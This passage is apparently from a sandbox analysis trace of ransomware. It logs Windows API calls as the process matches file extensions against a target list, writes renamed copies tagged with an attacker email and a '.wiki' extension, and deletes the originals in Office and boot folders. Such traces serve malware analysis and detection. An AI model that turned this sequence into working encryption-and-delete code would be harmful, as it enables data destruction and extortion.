Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.813] lstrlenW (lpString=".1cd") returned 4 [0065.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.813] lstrlenW (lpString=".jpg") returned 4 [0065.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.813] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.813] lstrlenW (lpString="BL00261_.WMF") returned 12 [0065.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0065.813] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=12482) returned 1 [0065.813] CloseHandle (hObject=0x1fc) returned 1 [0065.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0065.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0065.814] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.814] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0065.814] GetLastError () returned 0x0 [0065.814] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0065.883] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0065.884] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.884] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.884] SetEndOfFile (hFile=0x22c) returned 1 [0066.147] CloseHandle (hObject=0x22c) returned 1 [0066.147] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.147] SetEndOfFile (hFile=0x1fc) returned 1 [0066.148] CloseHandle (hObject=0x1fc) returned 1 [0066.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0066.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0066.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.242] lstrlenW (lpString=".doc") returned 4 [0066.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.242] lstrlenW (lpString=".docx") returned 5 [0066.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.242] lstrlenW (lpString=".pdf") returned 4 [0066.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString=".xls") returned 4 [0066.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.258] lstrlenW (lpString=".xlsx") returned 5 [0066.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.258] lstrlenW (lpString=".ppt") returned 4 [0066.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.258] lstrlenW (lpString=".zip") returned 4 [0066.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.258] lstrlenW (lpString=".rar") returned 4 [0066.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString=".bz2") returned 4 [0066.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString=".7z") returned 3 [0066.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.258] lstrlenW (lpString=".dbf") returned 4 [0066.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.258] lstrlenW (lpString=".1cd") returned 4 [0066.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.258] lstrlenW (lpString=".jpg") returned 4 [0066.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.258] lstrlenW (lpString=".doc") returned 4 [0066.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString=".docx") returned 5 [0066.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.258] lstrlenW (lpString=".pdf") returned 4 [0066.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.258] lstrlenW (lpString=".xls") returned 4 [0066.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.259] lstrlenW (lpString=".xlsx") returned 5 [0066.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.259] lstrlenW (lpString=".ppt") returned 4 [0066.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.259] lstrlenW (lpString=".zip") returned 4 [0066.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.259] lstrlenW (lpString=".rar") returned 4 [0066.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.259] lstrlenW (lpString=".bz2") returned 4 [0066.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.259] lstrlenW (lpString=".7z") returned 3 [0066.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.259] lstrlenW (lpString=".dbf") returned 4 [0066.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.259] lstrlenW (lpString=".1cd") returned 4 [0066.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0066.259] lstrlenW (lpString=".jpg") returned 4 [0066.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.259] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0066.259] lstrlenW (lpString="BL00270_.WMF") returned 12 [0066.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.504] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3016) returned 1 [0066.504] CloseHandle (hObject=0x1e4) returned 1 [0066.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0066.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.507] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.507] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0066.508] GetLastError () returned 0x0 [0066.508] ReadFile (hFile=0x1e4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0) Thread: id = 16 os_tid = 0xab8 [0042.865] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x7a0960 [0042.865] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x3980048 [0042.866] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7103a0 [0042.866] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x7130c8 [0042.866] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7103b8 [0042.866] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x3a80020 [0042.866] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7103d0 [0042.866] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7103d0, Size=0x20) returned 0x73f958 [0042.866] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7103d0 [0042.866] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7103d0, Size=0x20) returned 0x73f930 [0042.867] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.867] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.867] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff58 | out: OldValue=0x2ecff58*=0x0) returned 1 [0042.867] lstrlenW (lpString="kernel32.dll") returned 12 [0042.867] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f958 | out: hHeap=0x6c0000) returned 1 [0042.867] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.867] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f930 | out: hHeap=0x6c0000) returned 1 [0042.867] Sleep (dwMilliseconds=0x64) [0043.130] lstrcmpiW (lpString1=".LOG2", lpString2=".wiki") returned -1 [0043.130] lstrlenW (lpString="BCD.LOG2") returned 8 [0043.130] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.178] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=0) returned 1 [0043.178] CloseHandle (hObject=0x164) returned 1 [0043.179] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.179] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.179] lstrlenW (lpString=".doc") returned 4 [0043.179] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0043.179] lstrlenW (lpString=".docx") returned 5 [0043.179] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0043.179] lstrlenW (lpString=".pdf") returned 4 [0043.179] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0043.179] lstrlenW (lpString=".xls") returned 4 [0043.179] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0043.179] lstrlenW (lpString=".xlsx") returned 5 [0043.179] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0043.179] lstrlenW (lpString=".ppt") returned 4 [0043.179] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0043.179] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.179] lstrlenW (lpString=".zip") returned 4 [0043.179] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0043.179] lstrlenW (lpString=".rar") returned 4 [0043.179] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0043.179] lstrlenW (lpString=".bz2") returned 4 [0043.179] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0043.179] lstrlenW (lpString=".7z") returned 3 [0043.179] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0043.179] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.180] lstrlenW (lpString=".dbf") returned 4 [0043.180] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.180] lstrlenW (lpString=".1cd") returned 4 [0043.180] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.180] lstrlenW (lpString=".jpg") returned 4 [0043.180] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.180] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.180] lstrlenW (lpString=".doc") returned 4 [0043.180] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString=".docx") returned 5 [0043.180] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0043.180] lstrlenW (lpString=".pdf") returned 4 [0043.180] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString=".xls") returned 4 [0043.180] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString=".xlsx") returned 5 [0043.180] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0043.180] lstrlenW (lpString=".ppt") returned 4 [0043.180] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.180] lstrlenW (lpString=".zip") returned 4 [0043.180] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString=".rar") returned 4 [0043.180] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString=".bz2") returned 4 [0043.180] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString=".7z") returned 3 [0043.180] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0043.180] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.180] lstrlenW (lpString=".dbf") returned 4 [0043.180] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0043.180] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.181] lstrlenW (lpString=".1cd") returned 4 [0043.181] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0043.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0043.181] lstrlenW (lpString=".jpg") returned 4 [0043.181] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0043.181] Sleep (dwMilliseconds=0x64) [0043.322] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.322] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.322] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0043.323] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=70224) returned 1 [0043.323] CloseHandle (hObject=0x16c) returned 1 [0043.323] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0043.323] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.323] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.323] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.323] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.323] lstrlenW (lpString=".doc") returned 4 [0043.323] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.323] lstrlenW (lpString=".docx") returned 5 [0043.323] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.323] lstrlenW (lpString=".pdf") returned 4 [0043.323] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.323] lstrlenW (lpString=".xls") returned 4 [0043.323] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.323] lstrlenW (lpString=".xlsx") returned 5 [0043.323] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.323] lstrlenW (lpString=".ppt") returned 4 [0043.323] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.323] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.323] lstrlenW (lpString=".zip") returned 4 [0043.323] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.323] lstrlenW (lpString=".rar") returned 4 [0043.324] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.324] lstrlenW (lpString=".bz2") returned 4 [0043.324] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.324] lstrlenW (lpString=".7z") returned 3 [0043.324] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.324] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.324] lstrlenW (lpString=".dbf") returned 4 [0043.324] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.324] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.324] lstrlenW (lpString=".1cd") returned 4 [0043.324] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.324] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.324] lstrlenW (lpString=".jpg") returned 4 [0043.324] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.324] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.324] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.324] lstrlenW (lpString=".doc") returned 4 [0043.324] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.324] lstrlenW (lpString=".docx") returned 5 [0043.324] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.324] lstrlenW (lpString=".pdf") returned 4 [0043.324] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.324] lstrlenW (lpString=".xls") returned 4 [0043.324] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.324] lstrlenW (lpString=".xlsx") returned 5 [0043.324] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.324] lstrlenW (lpString=".ppt") returned 4 [0043.324] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.324] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.324] lstrlenW (lpString=".zip") returned 4 [0043.324] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.324] lstrlenW (lpString=".rar") returned 4 [0043.324] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.324] lstrlenW (lpString=".bz2") returned 4 [0043.325] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.325] lstrlenW (lpString=".7z") returned 3 [0043.325] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.325] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.325] lstrlenW (lpString=".dbf") returned 4 [0043.325] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.325] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.325] lstrlenW (lpString=".1cd") returned 4 [0043.325] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.325] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0043.325] lstrlenW (lpString=".jpg") returned 4 [0043.325] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.325] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.325] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.325] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0043.325] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=70208) returned 1 [0043.325] CloseHandle (hObject=0x16c) returned 1 [0043.325] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0043.325] GetFileAttributesW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.325] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.326] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.326] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.326] lstrlenW (lpString=".doc") returned 4 [0043.326] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.326] lstrlenW (lpString=".docx") returned 5 [0043.326] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.326] lstrlenW (lpString=".pdf") returned 4 [0043.326] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.326] lstrlenW (lpString=".xls") returned 4 [0043.326] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.326] lstrlenW (lpString=".xlsx") returned 5 [0043.326] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.326] lstrlenW (lpString=".ppt") returned 4 [0043.326] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.326] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.326] lstrlenW (lpString=".zip") returned 4 [0043.326] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.326] lstrlenW (lpString=".rar") returned 4 [0043.326] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.326] lstrlenW (lpString=".bz2") returned 4 [0043.326] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.326] lstrlenW (lpString=".7z") returned 3 [0043.326] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.326] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.326] lstrlenW (lpString=".dbf") returned 4 [0043.326] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.326] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.326] lstrlenW (lpString=".1cd") returned 4 [0043.326] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.326] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0043.326] lstrlenW (lpString=".jpg") returned 4 